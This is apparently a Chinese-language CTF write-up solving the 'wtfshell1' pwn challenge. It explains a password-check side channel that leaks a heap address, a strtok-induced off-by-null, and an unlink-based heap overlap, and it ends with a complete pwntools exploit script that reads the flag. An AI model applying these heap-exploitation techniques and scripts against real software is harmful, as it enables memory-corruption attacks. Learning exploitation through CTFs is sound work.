0%

Strtok off-by-null+侧信道攻击

wtfshell1 复现

注意此挑战是开源的,不要浪费时间对二进制文件进行逆向工程

这个挑战有两个 flag:

  • 1.第一个 flag 隐藏在虚拟文件系统(又名内存)内的“flag1”文件中,甚至无法被虚拟根目录读取,您的目标是 pwn 库并实现 RAA
  • 2.第二个 flag 位于虚拟文件系统之外,这意味着您必须实现任意代码执行(实际上是 ORW,由于seccomp)才能获得 flag
1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu3) stable release version 2.36.\n
1
2
3
4
5
6
7
8
wtfshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14b74f98df26b1325153b74f6d77440e0b761024, for GNU/Linux 3.2.0, stripped
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/wtfshell/share/wtfshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
➜  share seccomp-tools dump ./wtfshell  
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0006
0002: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0003: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x20 0x00 0x00 0x00000000 A = sys_number
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x00 0x06 0x00000009 if (A != mmap) goto 0017
0011: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x03 0x00 0x00000007 if (A == 0x7) goto 0016
0013: 0x20 0x00 0x00 0x00000030 A = fd # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x00 0x01 0xffffffff if (A != 0xffffffff) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x20 0x00 0x00 0x00000000 A = sys_number
0021: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0023
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x20 0x00 0x00 0x00000000 A = sys_number
0024: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x20 0x00 0x00 0x00000000 A = sys_number
0027: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x20 0x00 0x00 0x00000000 A = sys_number
0030: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x20 0x00 0x00 0x00000000 A = sys_number
0033: 0x15 0x00 0x04 0x00000014 if (A != writev) goto 0038
0034: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0035: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0037
0036: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0037: 0x06 0x00 0x00 0x00000000 return KILL
0038: 0x20 0x00 0x00 0x00000000 A = sys_number
0039: 0x15 0x00 0x05 0x0000003c if (A != exit) goto 0045
0040: 0x20 0x00 0x00 0x00000010 A = error_code # exit(error_code)
0041: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0043
0042: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x06 0x00 0x00 0x00000000 return KILL
0045: 0x20 0x00 0x00 0x00000000 A = sys_number
0046: 0x15 0x00 0x05 0x000000e7 if (A != exit_group) goto 0052
0047: 0x20 0x00 0x00 0x00000010 A = error_code # exit_group(error_code)
0048: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0050
0049: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0051
0050: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0051: 0x06 0x00 0x00 0x00000000 return KILL
0052: 0x20 0x00 0x00 0x00000000 A = sys_number
0053: 0x15 0x00 0x03 0x00000127 if (A != preadv) goto 0057
0054: 0x20 0x00 0x00 0x00000010 A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
0055: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0057
0056: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0057: 0x06 0x00 0x00 0x00000000 return KILL
  • read 的 FD 必须为“0”

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
√ rtfm
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π // 菜单
π qq. Quit Quietly π // 退出
π lol,[-l]. List Of fiLes π // 显示文件
π rip.[FILE] Redirect InPut π // 重定向输入
π nsfw,FILE,PERM. New Single File for Writing π // 用于写入的新单个文件
π wtf,DATA,FILE. Write data To File π // 将数据写入文件
π omfg,FILE. Output My File Gracefully π // 输出我的文件
π gtfo,FILE. GeT the File Out π // 将文件删除
π ouo. Output current User Out π // 输出当前用户
π stfu,USER. SeT new Friendly User π // 设置新用户
π asap,[USER]. ASsign A new Password π // 设置新密码
π sus,USER. Switch USer π // 切换用户
π shit. SHell InformaTion π // shell信息
π irl. Instantly Reset shelL π // 即时重置shell
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
  • 程序提供了一个菜单,提供了这些功能

比赛时根本找不到洞,只是发现有些不严谨的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int read_pw(char *dest) {
int read_num = 0;
while (read_num < PWMAX) {
int res = read(STDIN_FILENO, &dest[read_num], 1);
if (res < 0) {
terminate();
}
if (dest[read_num] == '\n') {
dest[read_num] = '\0';
return read_num;
}
read_num++;
}
return read_num;
}
  • 这里的 read 最多只能读取 0x40 字节的数据
  • 如果把这 0x40 字节的数据读满,就会导致字符串最后的 “\x00” 被覆盖,从而导致 ushadow[PWMAX]uname 连起来:
1
2
3
4
5
struct user {
char ushadow[PWMAX];
char *uname;
int uid;
};
  • 由于程序不会输出 ushadow[PWMAX],我也就找不到泄露的办法了,直到比赛最后也没有进展了

侧信道攻击

关于侧信道攻击,我之前在复现 SCTF 的 Gadget 时用过一次,用于爆破存储于内存中的 “flag”

网上有位师傅采用了侧信道攻击的方法来泄露存放于 user->uname 的堆地址,我仔细思考了一下,发现本题目确实有侧信道攻击的条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int chk_pw(const char *pw) {
char input;
int pw_len = strlen(pw);
for (int i = 0; i < pw_len + 1; i++) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (i == pw_len) { // The last character must be a line break
return input == '\n';
}
if (input == '\n') { // Ignore accidental line breaks
i--;
continue;
}
/* If password mismatch, quit immediately */
if (input != pw[i]) {
/* Read characters until '\n' */
while (1) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (input == '\n') {
return 0;
}
}
}
}
}
  • 程序有一个功能是检查 user->ushadow[PWMAX] 是否和输出值匹配,这里 read 读入的字符数并不是固定的 “0x40”,而是 strlen(pw)
  • 而之前我们已经把 user->ushadow[PWMAX] 末尾的 “\x00” 给去除掉了,因此这个 read 将会读取超过 “0x40” 大小的数据
1
2
3
4
5
6
if (!chk_pw(gusers[i]->ushadow)) {
/* Clear data when error occurs */
bzero(gusers[i]->ushadow, PWMAX);
write_str("asap: pw1 ≠ pw2\n");
return;
}
  • 如果字符不匹配就会立刻返回,并且输出 asap: pw1 ≠ pw2\n

尝试使用侧信道攻击来泄露 user->uname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leakname(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap.,?!"+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
  • 注意以下细节:
    • 爆破时把“\n”排除掉(程序对“\n”有特殊操作)
    • 当字符匹配成功时,需要再输入一个“\x00”来结束当前的 chk_pw 函数

Strtok Off-by-null

strtok 函数会不断往字符串后面遍历,直到遇到 “\x00” 截断,同时 strtok 会将查找到的隔断符 delim 设置为 “\x00”

1
char *strtok(char s[], const char *delim);
  • delim 可以有多个值,单独的这些值都可以完成分割(如果出现连续的多个 delim 中所记录的值,则只把第一个值置为 “\x00”,然后跳过最后一个值返回指针)
  • strtok 第一个参数为 NULL 时,继承的是上一次 strtok 返回的指针

在源码中,可以发现 delim 的值如下:

1
const char delim[] = ".,?!";
  • 对应的 ascii 分别为:0x2e 0x2c 0x3f 0x21

注意这个 0x21,如果某个大 chunk 的低位也是 0x21,那么这最后一字节就有可能被 strtok 给设置为 “\x00”,这里可以实现 off-by-null

init_sh 中对 gbuff 进行了初始化,申请的大小固定为“0x400”

1
2
3
4
5
6
/* Allocate global buffer */
gbuff = xmalloc(GBSIZE);

Allocated chunk | PREV_INUSE
Addr: 0x56241b74e380
Size: 0x411

而我们能够写入的最大范围为“0x400”,根本写入不了 next chunk->presize

1
read_max(gbuff, GBSIZE);

cmd_irl 函数中提供了控制 gbuff 的代码:

1
2
xfree(gbuff);
gbuff = xmalloc(GBSIZE);

于是我们可以提前在一个 chunk 中写好 next chunk->presize,先释放掉它,然后想办法让 xmalloc 重新申请到这个 chunk

  • 本题目的 xfree 会自动把 target chunk 置空
  • 需要利用 xrealloc 来释放 target chunk

注意:写入 next chunk->presize 时不能写入 “\x00”,取而代之的是 “/”,程序会执行以下函数来把 “/” 转换为 “\x00”:

1
2
3
4
5
6
7
8
void remove_slash(char *fname) {
int fname_len = strlen(fname);
for (int i = 0; i < fname_len; i++) {
if (fname[i] == '/') {
fname[i] = '\0';
}
}
}
  • 使用 "rip."+"a"*(0x400-4) 就可以触发

测试代码如下:(这里只是演示效果,堆风水随时可以更改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
presize = 0xdead
payload = p16(presize) + "/"*6

newfile("1",3)
newfile("2",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8) # 提前写入next chunk->presize
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

"""
pwndbg> x/20xg 0x56532e4f2d30
0x56532e4f2d30: 0x0000000000000000 0x0000000000000411 /* target chunk */
0x56532e4f2d40: 0x6363636363636363 0x6363636363636363
......
0x56532e4f3130: 0x6363636363636363 0x6161616161006363
0x56532e4f3140: 0x2f2f2f2f2f2fdead 0x0000000000000321 /* next chunk */
0x56532e4f3150: 0x6464646464646464 0x6464646464646464
"""

现在要思考的问题就是:如何申请到这个 target chunk

如果释放的 gbuff 进入了 tcache bin,那它很快就可以被申请出来(tcache bin 采用 LIFO),所以在释放 gbuff 前必须先将 tcache bin 填满,并且把这个 target chunk 放入 tcache bin 头部

接下来释放的 gbuff 就会进入 unsortedbin,并且申请到 target chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
rip("3","d"*0x100)
newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

rip("2","e"*0x100)
"""
tcachebins
0x410 [ 7]: 0x55662d896d40 —▸ 0x55662d8998e0 —▸ 0x55662d8994d0 —▸ 0x55662d8990c0 —▸ 0x55662d898cb0 —▸ 0x55662d8988a0 —▸ 0x55662d897590 ◂— 0x0
"""
reboot()
payload = "rip."+"a"*(0x400-4)
cmd(payload)
"""
Allocated chunk | PREV_INUSE /* target chunk */
Addr: 0x55662d896d30
Size: 0x411

Free chunk (unsortedbin) /* next chunk */
Addr: 0x55662d897140
Size: 0x400
fd: 0x55662d8968f0
bk: 0x7f26dc2c0be0
"""
  • "rip."+"a"*(0x400-4) 执行时,会联通 next chunk->presize 一直定位到 next chunk->size 的低字节,然后把这个整体当做 fname

接下来的思路就很明确了,就是搭建堆风水实现堆重叠,然后利用重叠来修改 file->fdata 使其指向“flag1”

在搭建堆风水的过程中,有以下几点需要注意:

  • 由于程序的输入会被“\x00”截断,所以伪造 unlink attack 的时候需要从后往前写入数据
  • 触发 unlink 时,除了常规检查以外,还会进行如下检查:
1
2
3
     if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
  • 如果 p->fd_nextsize 写有数据,并且该 chunk 的大小大于 “0x400”,那么程序就会认为该 chunk 是 large chunk,并在 unlink 时触发这个检查(由于本程序的特殊写入机制,p->fd_nextsize 必须有数据)

在调试堆风水的过程中,发现“0x421”大小的 Chunk 难以利用,于是改为了“0x321”(和上面的测试样例有差别),最后费了九牛二虎之力终于搞好了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
from pwn import *

arch = 64
#challenge = './wtfshell_debug'
challenge = './wtfshell'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(op)

def qq():
cmd("qq")

def lol():
cmd("lol.-l")

def rip(filename,data):
cmd("rip."+filename) # filename == NULL => stdout
p.sendline(data)

def newfile(filename,flag):
cmd("nsfw."+filename+"."+str(flag))

"""
* --: 0 (non-readable & non-writable)
* -w: 1 (write only)
* r-: 2 (read only)
* rw: 3 (readable & writable)
"""

def writefile(filename,data):
cmd("wtf."+data+"."+filename)

def showfile(filename):
cmd("omfg."+filename)

def delfile(filename):
cmd("gtfo."+filename)

def deluser():
cmd("ouo")

def newuser(username):
cmd("stfu."+username)

def newpassword(username,password):
cmd("asap."+username) # NULL == root
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password)

def changeuser(username):
cmd("sus."+username) # NULL == root

def shit():
cmd("shit")

def reboot():
cmd("irl")

def leakheap(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
#success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap."+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
return heap_addr

def write_reverse(filename,payload):
whole_size = len(payload)+1
no_null_payload = payload.replace('\x00','a')
for i in range(len(payload)-0x10):
if no_null_payload[whole_size-i-2:whole_size-i-1] == 'a':
writefile(filename,no_null_payload[0:whole_size-i-2])
else:
continue

newuser("yhellow")
newuser("yhellow2")

heap_addr = u64(leakheap("yhellow2","b"*0x40).ljust(0x8,'\0'))
heap_base = heap_addr - 0x880
success("heap_base >> "+hex(heap_base))

presize = 0xd10
payload = p16(presize) + "/"*6

newfile("1",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8)
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("2",3)
newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

fakechunk_addr = heap_base + 0x3f0
rip("2","e"*0x100)
reboot()

newfile("1",3)
writefile("1","f"*0x310)
rip("1","e"*0x100)

newfile("4",3)
payload = "p"*0x60
payload += p64(0) + p64(presize+1)
payload += p64(fakechunk_addr+0x18) + p64(fakechunk_addr+0x20)
payload += p64(fakechunk_addr+0x10) + p64(fakechunk_addr+0x18)
payload += p64(fakechunk_addr) + p64(fakechunk_addr)
write_reverse("4",payload)

newfile("2",3)
writefile("2","k"*0x310)
payload = "rip."+"a"*(0x400-4)
cmd(payload)

newfile("3"*0x2f0,3)
newfile("4"*0x2f0,3)
newfile("5"*0x2f0,3)
newfile("6"*0x2f0,3)
newfile("7"*0x2f0,3)
newfile("8"*0x2f0,3)
newfile("9"*0x2f0,3)
delfile("3"*0x2f0)
delfile("4"*0x2f0)
delfile("5"*0x2f0)
delfile("6"*0x2f0)
delfile("7"*0x2f0)
delfile("8"*0x2f0)
delfile("9"*0x2f0)

payload = "a"*0x2f0 + p64(0) + p64(0x41)
write_reverse("2",payload)

#debug()

delfile("2")
newfile("5"*0x30,3)
newfile("6"*0x30,3)
delfile("1")
newfile("7"*0x30,3)
writefile("5"*0x30,"5"*0x360)

flag_addr = heap_base + 0x360
name_addr = heap_base + 0x26c0
payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(flag_addr)

write_reverse("7"*0x30,payload)
showfile("6"*0x30)

p.interactive()

小结:

堆风水搭得我吐血,不过还是学到了新的利用姿势